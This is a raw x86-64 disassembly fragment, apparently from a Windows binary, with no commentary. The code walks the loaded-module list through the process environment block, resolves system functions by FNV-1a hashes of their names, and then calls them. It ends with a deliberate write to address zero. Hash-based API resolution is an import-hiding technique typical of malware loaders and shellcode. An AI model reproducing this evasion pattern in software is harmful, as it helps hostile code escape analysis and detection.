add rdx, r10
cmp rdx, r9
jbe 0x14012d282
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x14012d282
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x7c], ecx
jmp 0x14012d243
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d235
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d26a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d252
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d280
cmp qword [r8 + 0x30], 0
jne 0x14012d150
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x14012d3ee
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d2ff
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d2f2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d2e3
cmp edx, edi
jne 0x14012d3d1
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14012d3d1
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012d3d1
mov r14d, dword [r10 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r9d, dword [rdx + r11]
add r9, r11
mov edx, r13d
jmp 0x14012d34f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14012d344
cmp edx, dword [rbp - 0x80]
je 0x14012d364
test ebx, ebx
jne 0x14012d332
jmp 0x14012d3d1
mov ecx, dword [r10 + 0x24]
add rcx, r11
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov r9d, dword [rdx + r8*4]
add r9, r11
cmp r9, r10
jbe 0x14012d3e7
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14012d3e7
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x80], ecx
jmp 0x14012d3a5
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012d397
add r9, r12
mov al, byte [r9]
test al, al
je 0x14012d3ce
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14012d3b6
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d3e4
cmp qword [r8 + 0x30], 0
jne 0x14012d2b4
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14012d45e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
cmp rcx, r9
je 0x14012d445
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d429
cmp edx, 0x610c0de3
je 0x14012d4aa
mov r8, qword [r8]
cmp r8, r10
je 0x14012d454
cmp qword [r8 + 0x30], 0
jne 0x14012d411
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
xor r10d, r10d
mov r11d, dword [r9 + r8 + 0x20]
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r13d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14012d4a5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14012d489
cmp ecx, 0xe463da3c
je 0x14012d4b0
add r10d, r12d
jmp 0x14012d472
mov r8, qword [r8 + 0x30]
jmp 0x14012d457
mov eax, dword [r9 + r8 + 0x24]
add rax, r8
movzx edx, word [rax + r10*2]
mov ecx, dword [r9 + r8 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14012d63b
xor edi, edi
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d546
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d539
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d52a
cmp edx, edi
jne 0x14012d61e
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14012d61e
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d61e
mov r15d, dword [r9 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r10d, dword [rdx + r11]
add r10, r11
mov edx, r13d
jmp 0x14012d596
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x14012d58b
cmp edx, dword [rbp - 0x7c]
je 0x14012d5ab
test ebx, ebx
jne 0x14012d579
jmp 0x14012d618
mov ecx, dword [r9 + 0x24]
add rcx, r11
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r11
mov r10d, dword [rdx + r8*4]
add r10, r11
cmp r10, r9
jbe 0x14012d634
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x14012d634
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x7c], ecx
jmp 0x14012d5ec
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x14012d5de
add r10, r12
mov al, byte [r10]
test al, al
je 0x14012d615
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x14012d5fd
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r15d, 8
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d631
cmp qword [r8 + 0x30], 0
jne 0x14012d4fb
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe30]
mov r8d, r12d
mov r12d, 0x5000
mov edx, r12d
mov rcx, r14
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14012d7b7
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d6c8
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d6bb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d6ac
cmp edx, edi
jne 0x14012d79a
mov r11, qword [r8 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x14012d79a
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012d79a
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r9d, dword [rdx + r11]
add r9, r11
mov edx, r13d
jmp 0x14012d718
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
inc r9
test cl, cl
jne 0x14012d70d
cmp edx, dword [rbp - 0x78]
je 0x14012d72d
test ebx, ebx
jne 0x14012d6fb
jmp 0x14012d79a
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx r9d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov r8d, dword [rdx + r9*4]
add r8, r11
cmp r8, r10
jbe 0x14012d7b0
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14012d7b0
mov edi, r13d
mov ecx, r13d
mov dword [rbp - 0x78], ecx
jmp 0x14012d76e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14012d760
inc r8
mov al, byte [r8]
test al, al
je 0x14012d797
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14012d77f
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d7ad
cmp qword [r8 + 0x30], 0
jne 0x14012d67d
xor r8d, r8d
mov qword [0x1404fc160], r8
mov rdx, r12
mov rcx, r14
call r8
mov qword [0], 0x99
mov rcx, qword [rbp + 0x3490]
xor rcx, rsp
call fcn.14020f960
lea r11, [rsp + 0x35a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret